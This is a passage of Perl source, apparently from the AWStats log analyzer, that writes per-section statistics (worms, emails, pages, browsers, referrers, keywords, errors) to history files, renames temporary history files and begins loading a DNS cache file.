# We save worm list in score sorted order to get a -output faster and with less use of memory.
&BuildKeyList( $MaxNbOf{'WormsShown'}, $MinHit{'Worm'}, \%_worm_h,
\%_worm_h );
my %keysinkeylist = ();
foreach (@keylist) {
$keysinkeylist{$_} = 1;
print HISTORYTMP "${xmlrb}$_${xmlrs}"
. int( $_worm_h{$_} )
. "${xmlrs}"
. int( $_worm_k{$_} )
. "${xmlrs}$_worm_l{$_}${xmlre}\n";
}
foreach ( keys %_worm_h ) {
if ( $keysinkeylist{$_} ) { next; }
print HISTORYTMP "${xmlrb}$_${xmlrs}"
. int( $_worm_h{$_} )
. "${xmlrs}"
. int( $_worm_k{$_} )
. "${xmlrs}$_worm_l{$_}${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_WORMS${xmlee}\n";
}
if ( $sectiontosave eq 'emailsender' ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'EMailsShown'}</sortfor><comment>\n";
}
print HISTORYTMP "# EMail - Hits - Bandwidth - Last visit\n";
print HISTORYTMP
"# The $MaxNbOf{'EMailsShown'} first Hits must be first (order not required for others)\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_EMAILSENDER${xmlbs}"
. ( scalar keys %_emails_h )
. "${xmlbe}\n";
# We save sender email list in score sorted order to get a -output faster and with less use of memory.
&BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emails_h,
\%_emails_h );
my %keysinkeylist = ();
foreach (@keylist) {
$keysinkeylist{$_} = 1;
print HISTORYTMP "${xmlrb}$_${xmlrs}"
. int( $_emails_h{$_} || 0 )
. "${xmlrs}"
. int( $_emails_k{$_} || 0 )
. "${xmlrs}$_emails_l{$_}${xmlre}\n";
}
foreach ( keys %_emails_h ) {
if ( $keysinkeylist{$_} ) { next; }
print HISTORYTMP "${xmlrb}$_${xmlrs}"
. int( $_emails_h{$_} || 0 )
. "${xmlrs}"
. int( $_emails_k{$_} || 0 )
. "${xmlrs}$_emails_l{$_}${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_EMAILSENDER${xmlee}\n";
}
if ( $sectiontosave eq 'emailreceiver' ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'EMailsShown'}</sortfor><comment>\n";
}
print HISTORYTMP "# EMail - Hits - Bandwidth - Last visit\n";
print HISTORYTMP
"# The $MaxNbOf{'EMailsShown'} first hits must be first (order not required for others)\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_EMAILRECEIVER${xmlbs}"
. ( scalar keys %_emailr_h )
. "${xmlbe}\n";
# We save receiver email list in score sorted order to get a -output faster and with less use of memory.
&BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emailr_h,
\%_emailr_h );
my %keysinkeylist = ();
foreach (@keylist) {
$keysinkeylist{$_} = 1;
print HISTORYTMP "${xmlrb}$_${xmlrs}"
. int( $_emailr_h{$_} || 0 )
. "${xmlrs}"
. int( $_emailr_k{$_} || 0 )
. "${xmlrs}$_emailr_l{$_}${xmlre}\n";
}
foreach ( keys %_emailr_h ) {
if ( $keysinkeylist{$_} ) { next; }
print HISTORYTMP "${xmlrb}$_${xmlrs}"
. int( $_emailr_h{$_} || 0 )
. "${xmlrs}"
. int( $_emailr_k{$_} || 0 )
. "${xmlrs}$_emailr_l{$_}${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_EMAILRECEIVER${xmlee}\n";
}
# Navigation
if ( $sectiontosave eq 'session' )
{ # This section must be saved after VISITOR section is read
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
}
print HISTORYTMP "# Session range - Number of visits\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_SESSION${xmlbs}"
. ( scalar keys %_session )
. "${xmlbe}\n";
foreach ( keys %_session ) {
print HISTORYTMP "${xmlrb}$_${xmlrs}"
. int( $_session{$_} )
. "${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_SESSION${xmlee}\n";
}
if ($sectiontosave eq 'filesize')
{ # This section must be saved after VISITOR section is read
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
}
print HISTORYTMP "# Payload Range - Payload Frequency\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_FILESIZE${xmlbs}"
. ( scalar keys %_filesize )
. "${xmlbe}\n";
foreach ( keys %_filesize) {
print HISTORYTMP "${xmlrb}$_${xmlrs}"
. int( $_filesize{$_} )
. "${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_FILESIZE${xmlee}\n";
}
if ( $sectiontosave eq 'sider' )
{ # This section must be saved after VISITOR section is read
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'PageShown'}</sortfor><comment>\n";
}
print HISTORYTMP "# URL - Pages - Bandwidth - Entry - Exit\n";
print HISTORYTMP
"# The $MaxNbOf{'PageShown'} first Pages must be first (order not required for others)\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_SIDER${xmlbs}"
. ( scalar keys %_url_p )
. "${xmlbe}\n";
# We save page list in score sorted order to get a -output faster and with less use of memory.
&BuildKeyList( $MaxNbOf{'PageShown'}, $MinHit{'File'}, \%_url_p,
\%_url_p );
%keysinkeylist = ();
foreach (@keylist) {
$keysinkeylist{$_} = 1;
my $newkey = $_;
$newkey =~ s/([^:])\/\//$1\//g
; # Because some targeted url were taped with 2 / (Ex: //rep//file.htm). We must keep http://rep/file.htm
print HISTORYTMP "${xmlrb}"
. XMLEncodeForHisto($newkey)
. "${xmlrs}"
. int( $_url_p{$_} || 0 )
. "${xmlrs}"
. int( $_url_k{$_} || 0 )
. "${xmlrs}"
. int( $_url_e{$_} || 0 )
. "${xmlrs}"
. int( $_url_x{$_} || 0 )
. "${xmlre}\n";
}
foreach ( keys %_url_p ) {
if ( $keysinkeylist{$_} ) { next; }
my $newkey = $_;
$newkey =~ s/([^:])\/\//$1\//g
; # Because some targeted url were taped with 2 / (Ex: //rep//file.htm). We must keep http://rep/file.htm
print HISTORYTMP "${xmlrb}"
. XMLEncodeForHisto($newkey)
. "${xmlrs}"
. int( $_url_p{$_} || 0 )
. "${xmlrs}"
. int( $_url_k{$_} || 0 )
. "${xmlrs}"
. int( $_url_e{$_} || 0 )
. "${xmlrs}"
. int( $_url_x{$_} || 0 )
. "${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_SIDER${xmlee}\n";
}
if ( $sectiontosave eq 'filetypes' ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
}
print HISTORYTMP
"# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_FILETYPES${xmlbs}"
. ( scalar keys %_filetypes_h )
. "${xmlbe}\n";
foreach ( keys %_filetypes_h ) {
my $hits = $_filetypes_h{$_} || 0;
my $bytes = $_filetypes_k{$_} || 0;
my $bytesbefore = $_filetypes_gz_in{$_} || 0;
my $bytesafter = $_filetypes_gz_out{$_} || 0;
print HISTORYTMP
"${xmlrb}$_${xmlrs}$hits${xmlrs}$bytes${xmlrs}$bytesbefore${xmlrs}$bytesafter${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_FILETYPES${xmlee}\n";
}
if ( $sectiontosave eq 'downloads' ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
}
print HISTORYTMP "# Downloads - Hits - Bandwidth\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_DOWNLOADS${xmlbs}"
. ( scalar keys %_downloads )
. "${xmlbe}\n";
for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){
print HISTORYTMP "${xmlrb}"
. XMLEncodeForHisto($u)
. "${xmlrs}"
. XMLEncodeForHisto($_downloads{$u}->{'AWSTATS_HITS'} || 0)
. "${xmlrs}"
. XMLEncodeForHisto($_downloads{$u}->{'AWSTATS_206'} || 0)
."${xmlrs}"
. XMLEncodeForHisto($_downloads{$u}->{'AWSTATS_SIZE'} || 0)
."${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_DOWNLOADS${xmlee}\n";
}
if ( $sectiontosave eq 'os' ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
}
print HISTORYTMP "# OS ID - Hits\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_OS ID - Hits - Pages${xmlbs}"
. ( scalar keys %_os_h )
. "${xmlbe}\n";
foreach ( keys %_os_h ) {
my $hits = $_os_h{$_} || 0;
my $pages = $_os_p{$_} || 0;
print HISTORYTMP "${xmlrb}$_${xmlrs}$hits${xmlrs}$pages${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_OS${xmlee}\n";
}
if ( $sectiontosave eq 'browser' ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
}
print HISTORYTMP "# Browser ID - Hits - Pages\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_BROWSER${xmlbs}"
. ( scalar keys %_browser_h )
. "${xmlbe}\n";
foreach ( keys %_browser_h ) {
my $hits = $_browser_h{$_} || 0;
my $pages = $_browser_p{$_} || 0;
print HISTORYTMP "${xmlrb}$_${xmlrs}$hits${xmlrs}$pages${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_BROWSER${xmlee}\n";
}
if ( $sectiontosave eq 'screensize' ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
}
print HISTORYTMP "# Screen size - Hits\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_SCREENSIZE${xmlbs}"
. ( scalar keys %_screensize_h )
. "${xmlbe}\n";
foreach ( keys %_screensize_h ) {
print HISTORYTMP "${xmlrb}$_${xmlrs}$_screensize_h{$_}${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_SCREENSIZE${xmlee}\n";
}
# Referer
if ( $sectiontosave eq 'unknownreferer' ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
}
print HISTORYTMP "# Unknown referer OS - Last visit date\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_UNKNOWNREFERER${xmlbs}"
. ( scalar keys %_unknownreferer_l )
. "${xmlbe}\n";
foreach ( keys %_unknownreferer_l ) {
print HISTORYTMP "${xmlrb}"
. XMLEncodeForHisto($_)
. "${xmlrs}$_unknownreferer_l{$_}${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_UNKNOWNREFERER${xmlee}\n";
}
if ( $sectiontosave eq 'unknownrefererbrowser' ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
}
print HISTORYTMP "# Unknown referer Browser - Last visit date\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_UNKNOWNREFERERBROWSER${xmlbs}"
. ( scalar keys %_unknownrefererbrowser_l )
. "${xmlbe}\n";
foreach ( keys %_unknownrefererbrowser_l ) {
print HISTORYTMP "${xmlrb}"
. XMLEncodeForHisto($_)
. "${xmlrs}$_unknownrefererbrowser_l{$_}${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_UNKNOWNREFERERBROWSER${xmlee}\n";
}
if ( $sectiontosave eq 'origin' ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
}
print HISTORYTMP "# Origin - Pages - Hits \n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_ORIGIN${xmlbs}6" . "${xmlbe}\n";
print HISTORYTMP "${xmlrb}From0${xmlrs}"
. int( $_from_p[0] )
. "${xmlrs}"
. int( $_from_h[0] )
. "${xmlre}\n";
print HISTORYTMP "${xmlrb}From1${xmlrs}"
. int( $_from_p[1] )
. "${xmlrs}"
. int( $_from_h[1] )
. "${xmlre}\n";
print HISTORYTMP "${xmlrb}From2${xmlrs}"
. int( $_from_p[2] )
. "${xmlrs}"
. int( $_from_h[2] )
. "${xmlre}\n";
print HISTORYTMP "${xmlrb}From3${xmlrs}"
. int( $_from_p[3] )
. "${xmlrs}"
. int( $_from_h[3] )
. "${xmlre}\n";
print HISTORYTMP "${xmlrb}From4${xmlrs}"
. int( $_from_p[4] )
. "${xmlrs}"
. int( $_from_h[4] )
. "${xmlre}\n"; # Same site
print HISTORYTMP "${xmlrb}From5${xmlrs}"
. int( $_from_p[5] )
. "${xmlrs}"
. int( $_from_h[5] )
. "${xmlre}\n"; # News
print HISTORYTMP "${xmleb}END_ORIGIN${xmlee}\n";
}
if ( $sectiontosave eq 'sereferrals' ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
}
print HISTORYTMP "# Search engine referers ID - Pages - Hits\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_SEREFERRALS${xmlbs}"
. ( scalar keys %_se_referrals_h )
. "${xmlbe}\n";
foreach ( keys %_se_referrals_h ) {
print HISTORYTMP "${xmlrb}$_${xmlrs}"
. int( $_se_referrals_p{$_} || 0 )
. "${xmlrs}$_se_referrals_h{$_}${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_SEREFERRALS${xmlee}\n";
}
if ( $sectiontosave eq 'pagerefs' ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'RefererShown'}</sortfor><comment>\n";
}
print HISTORYTMP "# External page referers - Pages - Hits\n";
print HISTORYTMP
"# The $MaxNbOf{'RefererShown'} first Pages must be first (order not required for others)\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_PAGEREFS${xmlbs}"
. ( scalar keys %_pagesrefs_h )
. "${xmlbe}\n";
# We save page list in score sorted order to get a -output faster and with less use of memory.
&BuildKeyList(
$MaxNbOf{'RefererShown'}, $MinHit{'Refer'},
\%_pagesrefs_h, \%_pagesrefs_p
);
%keysinkeylist = ();
foreach (@keylist) {
$keysinkeylist{$_} = 1;
my $newkey = $_;
$newkey =~ s/^http(s|):\/\/([^\/]+)\/$/http$1:\/\/$2/i
; # Remove / at end of http://.../ but not at end of http://.../dir/
print HISTORYTMP "${xmlrb}"
. XMLEncodeForHisto($newkey)
. "${xmlrs}"
. int( $_pagesrefs_p{$_} || 0 )
. "${xmlrs}$_pagesrefs_h{$_}${xmlre}\n";
}
foreach ( keys %_pagesrefs_h ) {
if ( $keysinkeylist{$_} ) { next; }
my $newkey = $_;
$newkey =~ s/^http(s|):\/\/([^\/]+)\/$/http$1:\/\/$2/i
; # Remove / at end of http://.../ but not at end of http://.../dir/
print HISTORYTMP "${xmlrb}"
. XMLEncodeForHisto($newkey)
. "${xmlrs}"
. int( $_pagesrefs_p{$_} || 0 )
. "${xmlrs}$_pagesrefs_h{$_}${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_PAGEREFS${xmlee}\n";
}
if ( $sectiontosave eq 'searchwords' ) {
# Save phrases section
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'KeyphrasesShown'}</sortfor><comment>\n";
}
print HISTORYTMP "# Search keyphrases - Number of search\n";
print HISTORYTMP
"# The $MaxNbOf{'KeyphrasesShown'} first number of search must be first (order not required for others)\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_SEARCHWORDS${xmlbs}"
. ( scalar keys %_keyphrases )
. "${xmlbe}\n";
# We will also build _keywords
%_keywords = ();
# We save key list in score sorted order to get a -output faster and with less use of memory.
&BuildKeyList( $MaxNbOf{'KeywordsShown'},
$MinHit{'Keyword'}, \%_keyphrases, \%_keyphrases );
%keysinkeylist = ();
foreach my $key (@keylist) {
$keysinkeylist{$key} = 1;
my $keyphrase = $key;
$keyphrase =~ tr/ /\+/s;
print HISTORYTMP "${xmlrb}"
. XMLEncodeForHisto($keyphrase)
. "${xmlrs}"
. $_keyphrases{$key}
. "${xmlre}\n";
foreach ( split( /\+/, $key ) ) {
$_keywords{$_} += $_keyphrases{$key};
} # To init %_keywords
}
foreach my $key ( keys %_keyphrases ) {
if ( $keysinkeylist{$key} ) { next; }
my $keyphrase = $key;
$keyphrase =~ tr/ /\+/s;
print HISTORYTMP "${xmlrb}"
. XMLEncodeForHisto($keyphrase)
. "${xmlrs}"
. $_keyphrases{$key}
. "${xmlre}\n";
foreach ( split( /\+/, $key ) ) {
$_keywords{$_} += $_keyphrases{$key};
} # To init %_keywords
}
print HISTORYTMP "${xmleb}END_SEARCHWORDS${xmlee}\n";
# Now save keywords section
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP
"<section id='keywords'><sortfor>$MaxNbOf{'KeywordsShown'}</sortfor><comment>\n";
}
print HISTORYTMP "# Search keywords - Number of search\n";
print HISTORYTMP
"# The $MaxNbOf{'KeywordsShown'} first number of search must be first (order not required for others)\n";
$ValueInFile{"keywords"} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_KEYWORDS${xmlbs}"
. ( scalar keys %_keywords )
. "${xmlbe}\n";
# We save key list in score sorted order to get a -output faster and with less use of memory.
&BuildKeyList( $MaxNbOf{'KeywordsShown'},
$MinHit{'Keyword'}, \%_keywords, \%_keywords );
%keysinkeylist = ();
foreach (@keylist) {
$keysinkeylist{$_} = 1;
my $keyword = $_;
print HISTORYTMP "${xmlrb}"
. XMLEncodeForHisto($keyword)
. "${xmlrs}"
. $_keywords{$_}
. "${xmlre}\n";
}
foreach ( keys %_keywords ) {
if ( $keysinkeylist{$_} ) { next; }
my $keyword = $_;
print HISTORYTMP "${xmlrb}"
. XMLEncodeForHisto($keyword)
. "${xmlrs}"
. $_keywords{$_}
. "${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_KEYWORDS${xmlee}\n";
}
# Other - Errors
if ( $sectiontosave eq 'cluster' ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
}
print HISTORYTMP "# Cluster ID - Pages - Hits - Bandwidth\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_CLUSTER${xmlbs}"
. ( scalar keys %_cluster_h )
. "${xmlbe}\n";
foreach ( keys %_cluster_h ) {
print HISTORYTMP "${xmlrb}$_${xmlrs}"
. int( $_cluster_p{$_} || 0 )
. "${xmlrs}"
. int( $_cluster_h{$_} || 0 )
. "${xmlrs}"
. int( $_cluster_k{$_} || 0 )
. "${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_CLUSTER${xmlee}\n";
}
if ( $sectiontosave eq 'misc' ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
}
print HISTORYTMP "# Misc ID - Pages - Hits - Bandwidth\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_MISC${xmlbs}"
. ( scalar keys %MiscListCalc )
. "${xmlbe}\n";
foreach ( keys %MiscListCalc ) {
print HISTORYTMP "${xmlrb}$_${xmlrs}"
. int( $_misc_p{$_} || 0 )
. "${xmlrs}"
. int( $_misc_h{$_} || 0 )
. "${xmlrs}"
. int( $_misc_k{$_} || 0 )
. "${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_MISC${xmlee}\n";
}
if ( $sectiontosave eq 'errors' ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
}
print HISTORYTMP "# Errors - Hits - Bandwidth\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_ERRORS${xmlbs}"
. ( scalar keys %_errors_h )
. "${xmlbe}\n";
foreach ( keys %_errors_h ) {
print HISTORYTMP "${xmlrb}$_${xmlrs}$_errors_h{$_}${xmlrs}"
. int( $_errors_k{$_} || 0 )
. "${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_ERRORS${xmlee}\n";
}
# Other - Trapped errors
foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
if ( $sectiontosave eq "sider_$code" ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
}
print HISTORYTMP
"# URL with $code errors - Hits"
. ($ShowHTTPErrorsPageDetail =~ /R/i ? " - Last URL referrer" : '')
. ($ShowHTTPErrorsPageDetail =~ /H/i ? " - Host" : '')
. "\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_SIDER_$code${xmlbs}"
. ( scalar keys %{$_sider_h{$code}} )
. "${xmlbe}\n";
foreach ( keys %{$_sider_h{$code}} ) {
my $newkey = $_;
my $newreferer = $_referer_h{$code}{$_} || '';
my $newhost = $_err_host_h{$code}{$_} || '';
print HISTORYTMP "${xmlrb}"
. XMLEncodeForHisto($newkey)
. "${xmlrs}$_sider_h{ $code }{$_}"
. ($ShowHTTPErrorsPageDetail =~ /R/i ? "${xmlrs}" . XMLEncodeForHisto($newreferer) : '')
. ($ShowHTTPErrorsPageDetail =~ /H/i ? "${xmlrs}" . XMLEncodeForHisto($newhost) : '')
. "${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_SIDER_$code${xmlee}\n";
}
}
# Other - Extra stats sections
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
if ( $sectiontosave eq "extra_$extranum" ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP
"<section id='$sectiontosave'><sortfor>$MaxNbOfExtra[$extranum]</sortfor><comment>\n";
}
print HISTORYTMP
"# Extra key - Pages - Hits - Bandwidth - Last access\n";
print HISTORYTMP
"# The $MaxNbOfExtra[$extranum] first number of hits are first\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_EXTRA_$extranum${xmlbs}"
. scalar( keys %{ '_section_' . $extranum . '_h' } )
. "${xmlbe}\n";
&BuildKeyList(
$MaxNbOfExtra[$extranum],
$MinHitExtra[$extranum],
\%{ '_section_' . $extranum . '_h' },
\%{ '_section_' . $extranum . '_p' }
);
%keysinkeylist = ();
foreach (@keylist) {
$keysinkeylist{$_} = 1;
my $page = ${ '_section_' . $extranum . '_p' }{$_} || 0;
my $bytes = ${ '_section_' . $extranum . '_k' }{$_} || 0;
my $lastaccess = ${ '_section_' . $extranum . '_l' }{$_} || '';
print HISTORYTMP "${xmlrb}"
. XMLEncodeForHisto($_)
. "${xmlrs}$page${xmlrs}",
${ '_section_' . $extranum . '_h' }{$_},
"${xmlrs}$bytes${xmlrs}$lastaccess${xmlre}\n";
next;
}
foreach ( keys %{ '_section_' . $extranum . '_h' } ) {
if ( $keysinkeylist{$_} ) { next; }
my $page = ${ '_section_' . $extranum . '_p' }{$_} || 0;
my $bytes = ${ '_section_' . $extranum . '_k' }{$_} || 0;
my $lastaccess = ${ '_section_' . $extranum . '_l' }{$_} || '';
print HISTORYTMP "${xmlrb}"
. XMLEncodeForHisto($_)
. "${xmlrs}$page${xmlrs}",
${ '_section_' . $extranum . '_h' }{$_},
"${xmlrs}$bytes${xmlrs}$lastaccess${xmlre}\n";
next;
}
print HISTORYTMP "${xmleb}END_EXTRA_$extranum${xmlee}\n";
}
}
# Other - Plugin sections
if ( $AtLeastOneSectionPlugin && $sectiontosave =~ /^plugin_(\w+)$/i ) {
my $pluginname = $1;
if ( $PluginsLoaded{'SectionInitHashArray'}{"$pluginname"} ) {
# my $function="SectionWriteHistory_$pluginname(\$xml,\$xmlbb,\$xmlbs,\$xmlbe,\$xmlrb,\$xmlrs,\$xmlre,\$xmleb,\$xmlee)";
# eval("$function");
my $function = "SectionWriteHistory_$pluginname";
&$function(
$xml, $xmlbb, $xmlbs, $xmlbe, $xmlrb,
$xmlrs, $xmlre, $xmleb, $xmlee
);
}
}
%keysinkeylist = ();
}
#--------------------------------------------------------------------
# Function: Rename all tmp history file into history
# Parameters: None
# Input: $DirData $PROG $FileSuffix
# $KeepBackupOfHistoricFile $SaveDatabaseFilesWithPermissionsForEveryone
# Output: None
# Return: 1 Ok, 0 at least one error (tmp files are removed)
#--------------------------------------------------------------------
sub Rename_All_Tmp_History {
my $pid = $$;
my $renameok = 1;
if ($Debug) {
debug("Call to Rename_All_Tmp_History (FileSuffix=$FileSuffix)");
}
opendir( DIR, "$DirData" );
my $datemask;
if ( $DatabaseBreak eq 'month' ) { $datemask = '\d\d\d\d\d\d'; }
elsif ( $DatabaseBreak eq 'year' ) { $datemask = '\d\d\d\d'; }
elsif ( $DatabaseBreak eq 'day' ) { $datemask = '\d\d\d\d\d\d\d\d'; }
elsif ( $DatabaseBreak eq 'hour' ) { $datemask = '\d\d\d\d\d\d\d\d\d\d'; }
if ($Debug) {
debug(
"Scan for temp history files to rename into DirData='$DirData' with mask='$datemask'"
);
}
my $regfilesuffix = quotemeta($FileSuffix);
foreach ( grep /^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/,
file_filt sort readdir DIR )
{
/^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/;
if ($renameok) { # No rename error yet
if ($Debug) {
debug(
" Rename new tmp history file $PROG$1$FileSuffix.tmp.$$ into $PROG$1$FileSuffix.txt",
1
);
}
if ( -s "$DirData/$PROG$1$FileSuffix.tmp.$$" )
{ # Rename tmp files if size > 0
if ($KeepBackupOfHistoricFiles) {
if ( -s "$DirData/$PROG$1$FileSuffix.txt" )
{ # History file already exists. We backup it
if ($Debug) {
debug(
" Make a backup of old history file into $PROG$1$FileSuffix.bak before",
1
);
}
#if (FileCopy("$DirData/$PROG$1$FileSuffix.txt","$DirData/$PROG$1$FileSuffix.bak")) {
if (
rename(
"$DirData/$PROG$1$FileSuffix.txt",
"$DirData/$PROG$1$FileSuffix.bak"
) == 0
)
{
warning(
"Warning: Failed to make a backup of \"$DirData/$PROG$1$FileSuffix.txt\" into \"$DirData/$PROG$1$FileSuffix.bak\"."
);
}
if ($SaveDatabaseFilesWithPermissionsForEveryone) {
chmod 0666, "$DirData/$PROG$1$FileSuffix.bak";
}
}
else {
if ($Debug) {
debug( " No need to backup old history file", 1 );
}
}
}
if (
rename(
"$DirData/$PROG$1$FileSuffix.tmp.$$",
"$DirData/$PROG$1$FileSuffix.txt"
) == 0
)
{
$renameok =
0; # At least one error in renaming working files
# Remove tmp file
unlink "$DirData/$PROG$1$FileSuffix.tmp.$$";
warning(
"Warning: Failed to rename \"$DirData/$PROG$1$FileSuffix.tmp.$$\" into \"$DirData/$PROG$1$FileSuffix.txt\".\nWrite permissions on \"$PROG$1$FileSuffix.txt\" might be wrong"
. (
$ENV{'GATEWAY_INTERFACE'}
? " for an 'update from web'"
: ""
)
. " or file might be opened."
);
next;
}
if ($SaveDatabaseFilesWithPermissionsForEveryone) {
chmod 0666, "$DirData/$PROG$1$FileSuffix.txt";
}
}
}
else { # Because of rename error, we remove all remaining tmp files
unlink "$DirData/$PROG$1$FileSuffix.tmp.$$";
}
}
close DIR;
return $renameok;
}
#------------------------------------------------------------------------------
# Function: Load DNS cache file entries into a memory hash array
# Parameters: Hash array ref to load into,
# File name to load,
# File suffix to use
# Save to a second plugin file if not up to date
# Input: None
# Output: Hash array is loaded
# Return: 1 No DNS Cache file found, 0 OK
#------------------------------------------------------------------------------
sub Read_DNS_Cache {
my $hashtoload = shift;
my $dnscachefile = shift;
my $filesuffix = shift;
my $savetohash = shift;
my $dnscacheext = '';
my $filetoload = '';
my $timetoload = time();
if ($Debug) { debug("Call to Read_DNS_Cache [file=\"$dnscachefile\"]"); }
if ( $dnscachefile =~ s/(\.\w+)$// ) { $dnscacheext = $1; }
foreach my $dir ( "$DirData", ".", "" ) {
my $searchdir = $dir;
if ( $searchdir
&& ( !( $searchdir =~ /\/$/ ) )
&& ( !( $searchdir =~ /\\$/ ) ) )
{
$searchdir .= "/";
}
if ( -f "${searchdir}$dnscachefile$filesuffix$dnscacheext" ) {
$filetoload = "${searchdir}$dnscachefile$filesuffix$dnscacheext";
}
# Plugin call : Change filetoload
if ( $PluginsLoaded{'SearchFile'}{'hashfiles'} ) {
SearchFile_hashfiles(
$searchdir, $dnscachefile, $filesuffix,
$dnscacheext, $filetoload
);
}
if ($filetoload) { last; } # We found a file to load
}
if ( !$filetoload ) {
if ($Debug) { debug(" No DNS Cache file found"); }
return 1;
}
# Plugin call : Load hashtoload
if ( $PluginsLoaded{'LoadCache'}{'hashfiles'} ) {
LoadCache_hashfiles( $filetoload, $hashtoload );
}
if ( !scalar keys %$hashtoload ) {
open( DNSFILE, "$filetoload" )
or error("Couldn't open DNS Cache file \"$filetoload\": $!");
